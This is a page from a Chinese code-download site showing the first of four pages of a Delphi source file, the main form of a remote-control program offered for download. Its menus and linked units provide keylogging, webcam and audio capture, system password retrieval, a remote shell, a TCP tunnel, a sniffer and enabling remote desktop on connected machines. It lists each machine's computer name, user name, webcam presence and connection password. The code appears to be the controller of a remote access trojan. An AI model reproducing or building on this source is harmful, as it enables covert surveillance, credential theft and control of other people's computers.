⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unitmain.pas

📁 不错的远程控制程序
💻 PAS
📖 第 1 页 / 共 4 页
字号:
unit UnitMain;

interface

uses
  ShareMem, Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Sockets, StdCtrls, ComCtrls, Menus, CompressionStreamUnitForms, ExtCtrls,
  Winsock, Systray, AppEvnts, madExceptVcl, ClipBrd, ImgList, untQQWry, ShellAPI, jpeg,
  ToolWin, Buttons, OleCtrls, SHDocVw, IniFiles;
type
  TMain = class(TForm)
    Systray1: TButton;
    StatusBar1: TStatusBar;
    Memo1: TMemo;
    ApplicationEvents1: TApplicationEvents;
    Timer1: TTimer;
    PopupMenu1: TPopupMenu;
    FileManager1: TMenuItem;
    ProcessManager1: TMenuItem;
    RegistryEditor1: TMenuItem;
    ServiceManager1: TMenuItem;
    N4: TMenuItem;
    TCPTunnel1: TMenuItem;
    NetworkBrowser1: TMenuItem;
    RemoteShell1: TMenuItem;
    N1: TMenuItem;
    N6: TMenuItem;
    AudioCapture1: TMenuItem;
    WebcamCapture1: TMenuItem;
    MadExceptionHandler1: TMadExceptionHandler;
    Timer3: TTimer;
    Timer2: TTimer;
    MainMenu1: TMainMenu;
    MenuItem1: TMenuItem;
    N2: TMenuItem;
    Options1: TMenuItem;
    Active1: TMenuItem;
    ServicePort1: TMenuItem;
    N16: TMenuItem;
    N19: TMenuItem;
    N14: TMenuItem;
    N18: TMenuItem;
    N8: TMenuItem;
    N17: TMenuItem;
    Gongjutool: TToolBar;
    ToolButton1: TToolButton;
    ToolButton4: TToolButton;
    ToolB2: TToolButton;
    ToolButton3: TToolButton;
    ToolButton5: TToolButton;
    ToolButton6: TToolButton;
    ToolButton7: TToolButton;
    ToolButton8: TToolButton;
    ToolB: TToolButton;
    ToolButton9: TToolButton;
    ToolButton2: TToolButton;
    ToolB3: TToolButton;
    ToolButton10: TToolButton;
    ToolButton24: TToolButton;
    ImageList9: TImageList;
    ImageList: TImageList;
    N20: TMenuItem;
    ImageList1: TImageList;
    Panel2: TPanel;
    IP1: TMenuItem;
    N9: TMenuItem;
    N10: TMenuItem;
    N13: TMenuItem;
    N12: TMenuItem;
    yy1: TMenuItem;
    N3: TMenuItem;
    N11: TMenuItem;
    Panel4: TPanel;
    ListView1: TListView;
    Splitter2: TSplitter;
    CmdRichEdit: TRichEdit;
    PopupMenu2: TPopupMenu;
    N5: TMenuItem;
    N7: TMenuItem;
    N15: TMenuItem;
    Keylog1: TMenuItem;
    OpenTerm1: TMenuItem;
    N21: TMenuItem;
    SystemPass1: TMenuItem;
    procedure FormCreate(Sender: TObject);
    procedure ProcessManager1Click(Sender: TObject);
    procedure AudioCapture1Click(Sender: TObject);
    procedure WebcamCapture1Click(Sender: TObject);
    procedure NetworkBrowser1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure ServiceManager1Click(Sender: TObject);
    procedure WindowView1Click(Sender: TObject);
    procedure RegistryEditor1Click(Sender: TObject);
    procedure RemoteShell1Click(Sender: TObject);
    procedure TCPTunnel1Click(Sender: TObject);
    procedure FileManager1Click(Sender: TObject);
    procedure Active1Click(Sender: TObject);
    procedure ServicePort1Click(Sender: TObject);
    procedure Systray1Click(Sender: TObject);
    procedure ApplicationEvents1Minimize(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure Timer3Timer(Sender: TObject);
    procedure N2Click(Sender: TObject);
    procedure N6Click(Sender: TObject);
    procedure spSkinButtonsBar1Sections0Items0Click(Sender: TObject);
    procedure ListView1Change(Sender: TObject; Item: TListItem;
      Change: TItemChange);
    procedure ListView1ColumnClick(Sender: TObject; Column: TListColumn);
    procedure ListView1CustomDrawItem(Sender: TCustomListView;
      Item: TListItem; State: TCustomDrawState; var DefaultDraw: Boolean);
    procedure ToolButton5Click(Sender: TObject);
    procedure ToolButton6Click(Sender: TObject);
    procedure ToolButton7Click(Sender: TObject);
    procedure ToolButton8Click(Sender: TObject);
    procedure ToolButton9Click(Sender: TObject);
    procedure ToolButton2Click(Sender: TObject);
    procedure ToolButton10Click(Sender: TObject);
    procedure ToolButton3Click(Sender: TObject);
    procedure ToolButton1Click(Sender: TObject);
    procedure ToolButton4Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure N19Click(Sender: TObject);
    procedure N20Click(Sender: TObject);
    procedure ListView1Click(Sender: TObject);
    procedure N18Click(Sender: TObject);
    procedure N17Click(Sender: TObject);
    procedure N8Click(Sender: TObject);
    procedure TransferView1Click(Sender: TObject);
    procedure LoadINIFile;
    procedure IPCreate;
    procedure FormShow(Sender: TObject);
    procedure N13Click(Sender: TObject);
    procedure yy1Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure N11Click(Sender: TObject);
    procedure N7Click(Sender: TObject);
    procedure N5Click(Sender: TObject);
    procedure OpenTerm1Click(Sender: TObject);
  private
    { Private declarations }
    SortType, SortMode: Integer;
    Clients: TList;
    SystrayIcon: TSystray;
    QQWry: TQQWry;
    ServerSocket: TServerSocket;
    procedure ClientConnect(Sender: TObject; ClientSocket: TCustomWinSocket);
    procedure ClientRead(Sender: TObject; ClientSocket: TCustomWinSocket);
    procedure ClientDisconnect(Sender: TObject; ClientSocket: TCustomWinSocket);
    procedure Connect(var Socket: TCustomWinSocket; Data: Pointer);
    procedure RawRead(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
    procedure Read(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
    procedure Disconnect(var Socket: TCustomWinSocket; Data: Pointer);
    function GetStream(var Socket: TCustomWinSocket): Boolean;

  public
    { Public declarations }
    Myinifile: Tinifile; {定义一个inifile}
    INIFileName: string; {储存inifile的文件名}
    AutoSxport: integer; {本地端口}
    NotifyConnectList: TList;
    NotifyReadList: TList;
    NotifyDisconnectList: TList;
    function SendStream(Socket: TCustomWinSocket; Stream: TMemoryStream): Boolean;
    function GetIPtoAdder(IpName: string): string; {从IP地址得到所在地理位置}
  end;

var
  Main: TMain;
  Port: dword;
  LastItem: TListItem;
  ItemDelay: Integer;
  IPFile: string;
  ISClientClose: Boolean;
implementation

{$R *.dfm}

uses
  ModalColumns,
  UnitTransfers,
  UnitWindows,
  UnitProcesses,
  UnitAudio,
  UnitWebcam,
  UnitNetwork,
  UnitServices,
  UnitTraffic,
  UnitSniffer,
  UnitRegistry,
  UnitShell,
  UnitTunnel,
  UnitFiles,
  UnitDesktop,
  UnitDelFile,
  ShapFormU,
  AboutUnit,
  Open3389,
  UnitConfigServer,
  UpIp;

{$WARNINGS OFF}

const
  M_TYPE = 1;
  M_INFO = 1;
  M_CONNECT = 2;
  R_ADDRESS = $BBBBBBBB;




function Trim(const S: string): string;
var
  I, L: Integer;
begin
  L := Length(S);
  for I := 1 to L do
  begin
    if S[I] in [#33..#126] then
      Result := Result + Copy(S, I, 1)
    else
      Break;
  end;
  Result[I] := #0;
end;

function FileSize(SizeInBytes: dword): string;
const
  Formats: array[0..3] of string = (' Bytes', ' KB', ' MB', ' GB');
  FormatSpecifier: array[Boolean] of string = ('%n', '%.2n');
var
  iLoop: Integer;
  TempSize: Real;
begin
  iLoop := -1;
  TempSize := SizeInBytes;
  while (iLoop <= 3) do
  begin
    TempSize := TempSize / 1024;
    Inc(iLoop);
    if Trunc(TempSize) = 0 then
    begin
      TempSize := TempSize * 1024;
      Break;
    end;
  end;
  Result := Format(FormatSpecifier[((Frac(TempSize) * 10) > 1)], [TempSize]);
  if Copy(Result, Length(Result) - 2, 3) = '.00' then
    Result := Copy(Result, 1, Length(Result) - 3);
  Result := Result + Formats[iLoop];
end;

procedure ShowColumnInfo(Main: TMain);
var
  ListLoop: Integer;
  ColumnLoop: Integer;
  Info: TComputerInfo;
  ListItem: TListItem;
  Column: TListColumn;
begin
  if Main.ListView1.Items.Count = 0 then Exit;
  for ListLoop := 0 to Main.ListView1.Items.Count - 1 do
  begin
    if ListLoop >= Main.ListView1.Items.Count then Exit;
    ListItem := Main.ListView1.Items.Item[ListLoop];
    ListItem.SubItems.Clear; //清空
    Info := TStreamRecord(TCustomWinSocket(ListItem.Data).Data).Info;
    if Main.ListView1.Columns.Count = 0 then Exit;
    for ColumnLoop := 1 to Main.ListView1.Columns.Count - 1 do
    begin
      if ColumnLoop >= Main.ListView1.Columns.Count then Exit;
      Column := Main.ListView1.Columns.Items[ColumnLoop];
      if Column.Caption = '局域网地址' then
      begin
        ListItem.SubItems.Add(inet_ntoa(in_addr(Info.LanIP)));
      end
      else if Column.Caption = '计算机名' then
      begin
        ListItem.SubItems.Add(string(Info.ComputerName));
      end
      else if Column.Caption = '处理器' then
      begin
        ListItem.SubItems.Add(IntToStr(Info.CPU) + ' MHz');
      end
      else if Column.Caption = '备注' then
      begin
        ListItem.SubItems.Add(string(Info.ID));
      end
      else if Column.Caption = '内存大小' then
      begin
        ListItem.SubItems.Add(FileSize(Info.RAM));
      end
      else if Column.Caption = '系统类型' then
      begin
        case Info.OS of
          0: ListItem.SubItems.Add('Unknown');
          4: ListItem.SubItems.Add('Windows NT');
          5: ListItem.SubItems.Add('Win2000');
          6: ListItem.SubItems.Add('WinXP');
          7: ListItem.SubItems.Add('Win2003');
        end;
      end
      else if Column.Caption = '用户名' then
      begin
        ListItem.SubItems.Add(string(Info.UserName));
      end
      else if Column.Caption = '摄像头' then
      begin
        case Info.Webcam of
          False: ListItem.SubItems.Add('无');
          True: ListItem.SubItems.Add('有');
        end;
      end
      else if Column.Caption = '版本号' then
      begin
        ListItem.SubItems.Add(string(Info.Version));
      end
      else if Column.Caption = '连接密码' then
      begin
        ListItem.SubItems.Add(string(Info.PassWord));
      end;

    end;
  end;
end;

function Split(Input, Separator: string; Index: Integer): string;
var
  N, O: Integer;
  p, Q, S: PChar;
  Item: string;
begin
  Result := '';
  O := 1;
  try
    p := PChar(Input);
    S := PChar(Separator);
    N := Length(Separator);
    repeat
      Q := StrPos(p, S);
      if Q = nil then Q := StrScan(p, #0);
      SetString(Item, p, Q - p);
      if O = Index then
      begin
        if Length(Item) <> 0 then Result := Item;
        Exit;
      end;
      Inc(O);
      p := Q + N;
    until Q^ = #0;
  except
    Item := '';
  end;
end;

procedure TMain.Connect(var Socket: TCustomWinSocket; Data: Pointer);
var
  Main: TMain;
  ConnectionInfo: TConnectionInfo;
  CommandFrame: TCommandFrame;
  ReplyStream: TMemoryStream;

  function IsClient(Socket: TCustomWinSocket): Boolean;
  var
    ClientLoop: Integer;
  begin
    Result := False;
    if Main.Clients.Count = 0 then Exit;
    for ClientLoop := 0 to Main.Clients.Count - 1 do
    begin
      if ClientLoop >= Main.Clients.Count then Exit;
      if TStreamRecord(Socket.Data).LocalAddress = TStreamRecord(TCustomWinSocket(Main.Clients.Items[ClientLoop]).Data).LocalAddress then
      begin
        Result := True;
        Exit;
      end;
    end;
  end;

begin
  Main := TMain(Data);
  if IsClient(Socket) then Exit;
  Main.Clients.Add(Socket);
  ConnectionInfo.ConnectionType := M_TYPE;
  Socket.SendBuf(ConnectionInfo, SizeOf(TConnectionInfo));
  CommandFrame.len := 0;
  CommandFrame.Command := M_INFO;
  CommandFrame.ID := FRAME_ID;
  ReplyStream := TMemoryStream.Create;
  ReplyStream.WriteBuffer(CommandFrame, SizeOf(TCommandFrame));
  SendStream(Socket, ReplyStream);
  Socket := nil;
end;

procedure TMain.RawRead(var Socket: TCustomWinSocket; CommandFrame: TCommandFrame; Stream: TMemoryStream; Data: Pointer);
var

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -